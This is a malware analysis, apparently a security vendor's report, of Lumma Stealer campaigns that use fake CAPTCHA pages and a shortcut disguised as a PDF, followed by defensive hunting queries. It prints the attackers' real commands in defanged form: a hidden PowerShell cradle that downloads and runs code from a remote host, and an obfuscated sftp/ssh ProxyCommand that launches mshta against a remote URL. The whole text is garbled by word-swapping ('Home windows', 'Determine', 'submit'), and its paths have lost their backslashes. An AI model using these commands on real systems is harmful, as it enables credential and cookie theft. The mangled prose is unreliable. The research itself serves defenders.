In September 2024, a risk hunt throughout Sophos Managed Detection and Response’s telemetry uncovered a Lumma Stealer marketing campaign utilizing faux CAPTCHA websites that instructed victims to stick a (malicious) PowerShell-encoded command into Home windows’ command-line interface. Subsequent investigations allowed us to dig deeply into the mechanics of the infamous data stealer. This submit recounts these discoveries, as seen in numerous MDR investigations throughout the fall and winter of 2024-25.
Lumma Stealer fundamentals
Lumma Stealer has been lively since mid-2022 and is believed to have originated with a Russian-language developer. Supplied as Malware-as-a-Service (MaaS), its maintainer sells entry to the stealer by way of Telegram and affords updates and person help. Additional data is made accessible on a devoted Gitbook web site.
The infostealer targets quite a lot of valuables together with passwords, session tokens, cryptocurrency wallets, and private data from compromised gadgets. The risk is amplified by its crafty supply strategies. In a single occasion, the attacker manipulated customers’ belief in CAPTCHA challenges and employed social engineering ways to deceive victims searching for software program downloads. In one other, extra easy case, the person was directed to a malicious web site and prompted to open a file in Home windows Explorer.
The variations we noticed in Lumma Stealer habits are important to defenders, as a result of Lumma Stealer an infection has been extraordinarily widespread in current months. That stated, the supply methods we noticed might simply be tailored to different malware past Lumma Stealer, making their documentation helpful. (A listing of IoCs will probably be made accessible on our GitHub repository.)
Our researchers are conscious of comparable work underway from Netskope Menace Labs, together with an estimate that as many as 5,000 fake-CAPTCHA websites could also be presently concerned in a Lumma Stealer-related marketing campaign. Likewise, researchers at Qualys have finished stable analysis to element the mechanisms Lumma Stealer has utilized in current months. Sophos strongly recommends scrutiny of the IoCs these researchers have provided to the general public, along with our personal.
Investigation #1: The artwork(istsponsorship) of the steal
On this investigation, the noticed assault stream with CAPTCHA involvement was comparatively easy: The attacker creates a malicious web site, “protected” by a normal-looking CAPTCHA verification at hxxps[://]camplytic[.]com/go/cdff9f96-8cbd-4c44-b679-2f612a64cd00. The visiting person clicks on the acquainted I-am-not-a-robot field, as proven in Determine 1.
Determine 1: A well-recognized-seeming verification field
The person was subsequent redirected to a different alleged verification web page, hxxps[://]sos-at-vie-1[.]exo[.]io/store-as/cloudflare-new-artist[.]html, on which they had been requested to first load the Home windows “run” command, then press Cntl-V adopted by Enter, as proven in Determine 2.
Determine 2: The following “safety test” request is considerably uncommon, however pretty easy for unwary customers
Behind the scenes, as soon as the person pastes the PowerShell command into the Run dialog field, it triggers a hid JavaScript operate that drops a PowerShell script onto the Clipboard and runs it in a hidden window:
C:WINDOWSsystem32WindowsPowerShellv1.0PowerShell.exe" -W Hidden -command $uR= hxxps[://]fixedzip[.]oss-ap-southeast5[.]aliyuncs[.]com/new-artist[.]txt'; $reS=Invoke-WebRequest -Uri $uR -UseBasicParsing; $t=$reS.Content material; iex $t
That script retrieves the infostealer malware from a command-and-control (C2) server, and it’s off to the payload-retrieval races, as proven in Determine 3.
Determine 3: Assault stream with CAPTCHA abuse; be aware that Lumma Stealer itself is loaded halfway via the method
When run, the PowerShell script retrieves the Lumma Stealer malware from an exterior server, initiating the obtain of the primary stage of the malicious payload onto the compromised system. The command
$uR=hxxps[://]fixedzip[.]oss-ap-southeast-5[.]aliyuncs[.]com/new-artist[.]txt'; $reS=Invoke-WebRequest -Uri $uR -UseBasicParsing; $t=$reS.Content material; iex$t
retrieves the content material from the new-artist.txt file hosted on the exterior server. This content material is then processed and executed via the Invoke-Expression cmdlet.
This new-artist.txt file within the code above incorporates one other PowerShell script, which connects to hxxps[://]fixedzip[.]oss-ap-southeast-5[.]aliyuncs[.]com/artist[.]zip . This zipped copy of Lumma Stealer is downloaded to the goal machine, extracted into the person’s %AppData% path, and saved as ‘ArtistSponsorship.exe’ (sha256:e298cd6c5fe7b9b05a28480fd215ddcbd7aaa48a) for additional execution, as proven in Determine 4.
Determine 4: The toxic obtain
The ArtistSponsorship.exe file incorporates, amongst a number of dropped recordsdata as seen in Determine 5, the obfuscated AutoIt.exe script (sha256:05d8cf394190f3a707abfb25fb44d7da9d5f533d7d2063b23c00cc11253c8be7). These are dropped within the %temp% listing.
Determine 5: A number of recordsdata dropped into %temp% by ArtistSponsorship.exe
The AutoIT script does quite a lot of issues and consists of shellcode. Amongst its actions, it connects to the C2 area snail-r1ced[.]cyou – IP 104.21.84[.]251 (CLOUDFLARENET). Lumma Stealer then targets person knowledge, login credentials from numerous browsers, bitcoin wallets, and cookies. In Determine 6, AutoIt3.exe is accessing login knowledge and cookies utilized by the Chrome browser.
Determine 6: Catching AutoIT3.exe red-handed with Chrome login credentials (amongst different issues)
AutoIt3.exe then executes the script X.a3x to exfiltrate the captured Chrome login knowledge and cookies to the C2 IP104.21.84[.]251(CLOUDFLARENET). Within the case we noticed, a file of simply 6.37MB – the login knowledge and cookies — was efficiently exfiltrated, after which the AutoIt3.exe course of terminated.
Investigation #2: A deep dive into the code
On this part, we’ll dig way more deeply into the specifics of recordsdata and processes we encountered throughout the payload supply chain. Within the case we’ll look at, the person inadvertently visited an contaminated web site.
First, the person was prompted to open a PDF-format file in Home windows Explorer, as proven in Determine 7.
Determine 7: The person is trying to load a PDF, however that’s not what’s about to occur
The file, apparently a PDF known as “Instruction_695-18014-012_Rev.PDF,” is definitely a remotely hosted .lnk (shortcut) file, as proven in Determine 8.
Determine 8: Home windows warns that that is really a shortcut, not a PDF
The shortcut file makes an attempt to execute an obfuscated PowerShell script, as proven in Determine 9.
Determine 9: The obfuscated script within the Goal area
The complete textual content of the obfuscated script is
C:WindowsSystem32OpenSSHsftp.exe -o ProxyCommand="powershell powershell -Command ('m]]]]]]sh]]]]]]]t]]]]]a]]]]]]].]]]]]ex]]]]]]]e]]]]] h]]]]]tt]]]ps:]]]]]]/]]]]]]/s]]]]]t]]]]]]]atic]]].kli]]]]]]pxuh]]]]]aq.sh]]]]]]]op/W7]]]7Z9]]]].mp4]]' -replace ']')
When a person executes the shortcut file, sftp.exe will execute the obfuscated command via the ProxyCommand flag. Nonetheless, sftp.exe doesn’t really set up the community connection itself; it delegates the duty to ssh.exe with a particular set of parameters:
"C:WindowsSystem32OpenSSHssh.exe" "-oForwardX11 no" "-oForwardAgent no" "-oPermitLocalCommand no" "-oClearAllForwardings sure" -o "ProxyCommand=powershell powershell -Command ('m]]]]]]sh]]]]]]]t]]]]]a]]]]]]].]]]]]ex]]]]]]]e]]]]] h]]]]]tt]]]ps:]]]]]]/]]]]]]/s]]]]]t]]]]]]]atic]]].kli]]]]]]pxuh]]]]]aq.sh]]]]]]]op/W7]]]7Z9]]]].mp4]]' -replace ']')" "-oProtocol 2" -s -- . sftp .
As we see within the block of code above, the parameters exploit the ‘ProxyCommand’ possibility. ProxyCommand specifies a command to run as an alternative of connecting on to the goal host. Within the above instance, ProxyCommand is ready to run PowerShell, which in flip executes mshta.exe to obtain and execute a distant script.
The primary PowerShell script execution is as proven in Determine 10.
Determine 10: The primary execution is revealed
This script processes AES-encrypted knowledge throughout the aepcc operate, as proven in Determine 11.
Determine 11: Lumma Stealer’s creators didn’t select a weak encryption algorithm
In Determine 12, the AES key’s listed first. It’s adopted by an initialization vector (IV) of 16 bytes of zeroes; the IV is there so as to add randomness to the beginning of the encryption course of. Regardless of that, we decrypted the info utilizing CyberChef, as proven.
Determine 12: CyberChef begins to disclose what’s occurring
Subsequent, we decoded the script from base64 – nearer to readable, however now a big mass of decimals, as proven in Determine 13.
Determine 13: The script comes into higher focus
The decimals in that mass of numbers are in actual fact ASCII characters. An additional go by CyberChef, as proven in Determine 14, reveals that this can be a PE file, one designed to obtain additional payloads.
Determine 14: A PE file with a single malicious goal
This script performs the next actions:
- Units variable ‘O’ equal to the C2 URL.
- Dynamically retrieve the ‘Load’ technique from the .NET ‘System.Reflection.Meeting’ class.
The ‘Load’ technique is then invoked on the worth of variable ‘oQ7’ (the obfuscated PE); this basically masses the PE into reminiscence. - As displayed above, the PE incorporates a single static technique named ‘aHdiNKuWlR’. This technique downloads the content material of the URL handed to it using WebClient.
The script passes the worth of the ‘O’ variable (containing the C2 URL) to the PE loaded in reminiscence. - The ‘aHdiNKuWlR’ technique outlined within the PE processes the URL handed to it by downloading its content material utilizing DownloadString.
- The ‘appdataroaming’ path is saved to the variable ‘Ikmg’.
- Operate ‘bOje’ is executed and performs the next actions:
- The operate first appends ‘i1040gi.pdf’ to the ‘Ikmg’ (file path) variable.
- Makes a name to operate ‘rlYDr’ and passes a singular identifier which is retrieved from the AES decrypted knowledge at place 103 with size 86, as proven in Determine 15.
Determine 15: A hexadecimal view of the distinctive identifier - Checks if the ‘appdataroamingi1040gi.pdf’ path doesn’t exist.
- If the file path doesn’t exist, executes operate ‘XSFbo’. This operate takes two parameters:
- ‘BtPdn’: This operate takes the distinctive identifier as an enter. It extracts a particular 100 characters from the AES-decrypted knowledge and makes use of it as a lookup desk to transform the distinctive identifier right into a URL. The ensuing URL is a official PDF doc from the IRS.
- The second parameter is the file path in variable ‘EVcD’ as proven in Determine 16.
Determine 16: The file path seems
After decoding the URL, operate ‘XSFbo’ takes the URL and downloads the contents utilizing ‘Web.WebClient’ (which was additionally decoded utilizing ‘BtnPdn’), then saves the PDF to the file path laid out in variable ‘EVcD’ as proven in Determine 17.
Determine 17: The file path seems once more, because the save vacation spot
Lastly, the PDF that was downloaded is executed, as proven in Figures 18 and 19.
Determine 18: There it’s…
Determine 19: …and there it goes
However wait! There’s extra!
To conclude this evaluation, let’s hint again to the levels earlier than the benign PDF is downloaded and executed.
We first observed that there was a dynamic retrieval of the ‘Load’ technique, which was used to load the embedded PE that we decoded. Then we noticed a static technique outlined contained in the PE that was being leveraged to obtain the subsequent stage. Lastly, we see the downloaded script executed with ‘InvokeScript’. Let’s give attention to this subsequent stage.
The following stage that was downloaded is closely obfuscated with ineffective feedback and really lengthy variable names, as proven in Determine 20.
Determine 20: Mooncake, pasties, fritter, ragu, kebabs, taco… clearly somebody was obfuscating on an empty abdomen
As soon as de-obfuscated, we found that this script is chargeable for downloading a ultimate stage. The script options dynamic decision of low-level Home windows APIs akin to ‘GetProcAddress’, VirtualProtect’, and ‘AmsiInitialize’.
Detections
The next queries could show helpful for defenders searching for proof of Lumma Stealer of their techniques.
Establish all risk recordsdata scripts/binaries from recognized SPIDs utilized to construct Lumma Stealer throughout the final eight hours or inside a time vary:
SELECT
strftime('%Y-%m-%d %H:%M:%S', datetime(sfj.time,'unixepoch')) dateTime,sfj.time AS epoch_time, spj.cmd_line, CASE sfj.event_type
WHEN 0 THEN 'Created'
WHEN 2 THEN 'Deleted'
END eventType, sfj.sophos_pid, sfj.path AS file_path, sfj.target_path, sfj.file_size, strftime('%Y-%m-%d %H:%M:%S', datetime(sfj.creation_time,'unixepoch')) birth_time_utc, strftime('%Y-%m-%d %H:%M:%S', datetime(sfj.last_write_time,'unixepoch')) modified_time_utc, spj.sid, u.username, sfj.sha256
FROM sophos_file_journal sfj
LEFT JOIN sophos_process_journal spj ON sfj.sophos_pid = spj.sophos_pid
LEFT JOIN customers u ON spj.sid = u.uuid
WHERE
sfj.sophos_pid IN ('', '', '', '')
AND
sfj.event_type IN (0, 2)
AND
sfj.time > strftime('%s', 'now', '-8 hour')
--sfj.time > strftime('%s','2024-11-13 04:44:32') AND sfj.time
Establish potential exfiltration and C2:
SELECT
strftime('%Y-%m-%d %H:%M:%S', datetime(time,'unixepoch')) dateTime, *
FROM sophos_process_activity
WHERE sophos_pid IN ('', '', '', '')
AND topic IN ('Dns','FileOtherReads', 'Ip', 'RuntimeIOCs', 'Course of', 'Community')
AND time > strftime('%s', 'now', '-8 hour')
--AND time > strftime('%s','2024-11-13 04:44:32') AND time
Establish the supply URL of the faux CAPTCHA / verification immediate from the shopping historical past:
SELECT f.path,f.listing,f.filename,f.measurement,strftime('%Y-%m-%d %H:%M:%S',datetime(f.mtime,'unixepoch')) AS modified_time_utc,strftime('%Y-%m-%d %H:%M:%S',datetime(f.atime,'unixepoch')) AS last_access_time_utc,strftime('%Y-%m-%d %H:%M:%S',datetime(f.ctime,'unixepoch')) AS change_time_utc,strftime('%Y-%m-%d %H:%M:%S',datetime(f.btime,'unixepoch')) AS birth_time_utc,attributes, h.sha256 AS SHA256, h.sha1 AS SHA1, h.md5 AS MD5
FROM file f LEFT JOIN hash h on f.path = h.path
WHERE f.path LIKE 'C:UserspercentAppDataLocalGoogleChromeUser DatapercentHistory' -- Home windows historical past for Chrome
OR f.path LIKE 'C:UserspercentAppDataLocalMicrosoftEdgeUser DatapercentHistory' -- historical past for Edge
OR f.path LIKE 'C:UserspercentAppDataRoamingMozillaFirefoxProfilespercentplaces.sqlite' --Home windows historical past for Firefox;
OR f.path LIKE 'C:UserspercentAppDataRoamingMozillaFirefoxProfilespercentdownloads.sqlite' --Home windows historical past for Firefox;
order by f.mtime DESC
Conclusion
Lumma Stealer stays a big risk as of this writing. The documented tactic of utilizing faux CAPTCHA websites to lull victims into getting into a malicious command on their very own techniques is an unsightly twist on the state of affairs; Sophos’ endpoint safety counters the risk with a variety of malware detections and behavioral-analysis ways, however educating customers to distrust CAPTCHAs, after so a few years of convincing them to reply them, is a heavy carry. As these schooling efforts increase, defenders are suggested to institute acceptable endpoint-detection know-how and to bear in mind that the ways of this all-too-common infostealer proceed to evolve.
Acknowledgements
Andrew Jaeger, Nayana V R, David Whitehall, and Waldemar Stiefvater contributed overview and constructive critique to this work.
Indicators of compromise
The IoCs compiled on this investigation are accessible on our GitHub repository.
